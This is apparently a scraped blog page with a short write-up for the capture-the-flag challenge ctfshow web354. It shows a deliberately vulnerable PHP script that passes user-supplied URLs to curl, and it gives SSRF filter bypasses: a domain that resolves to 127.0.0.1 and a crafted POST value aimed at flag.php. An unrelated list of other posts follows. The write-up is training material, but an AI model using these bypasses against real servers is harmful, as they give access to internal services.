当前位置:网站首页>ctfshow-web354(SSRF)
ctfshow-web354(SSRF)
2022-07-01 06:56:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|./i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
Law 1 :
sudo.cc amount to 127.0.0.1
url=http://sudo.cc/flag.php
Law two :
Change the local domain name A It was recorded that 127.0.0.1 On , And then visit http:// domain name /flag.php that will do ( You can also set up on your own domain name server 302 Jump )
边栏推荐
猜你喜欢
ESP32 ESP-IDF ADC监测电池电压(带校正)
(I) apple has open source, but so what?
【微信小程序低代码开发】二,在实操中化解小程序的代码组成
概率论学习笔记
【计网】(一) 集线器、网桥、交换机、路由器等概念
解决kaniko push镜像到harbor时报错(代理导致):unexpected status code 503 Service Unavailable
EasyNVS云管理平台功能重构:支持新增用户、修改信息等
Product learning (III) - demand list
如何画产品架构图?
【推荐技术】基于协同过滤的网络信息推荐技术matlab仿真
随机推荐
[matlab] solve nonlinear programming
rclone配置minio及基本操作
JSP - 分页
Draw a directed graph based on input
[wechat applet] to solve button, input and image components
ESP32在电池供电时用ULP监测电池电压
产品学习(一)——结构图
记一次线上接口慢查询问题排查
三说 拷贝构造之禁用
盘点华为云GaussDB(for Redis)六大秒级能力
绕圆旋转动画组件,拿过来直接用
How to permanently configure local opencv4.5.5 for vs2019
SQL learning notes 2
【微信小程序低代码开发】二,在实操中化解小程序的代码组成
The code generator has eliminated the styling of xxxx js as it exceeds the max of 500kb
Is fixed investment fund a high-risk product?
ESP32 - ULP 协处理器在低功耗模式下读片内霍尔传感器HALL SENSOR
转行做产品经理,如何挑选产品经理课程?
2022 年江苏省职业院校技能大赛(中职) 网络搭建与应用赛项公开赛卷
ESP32 ESP-IDF ADC监测电池电压(带校正)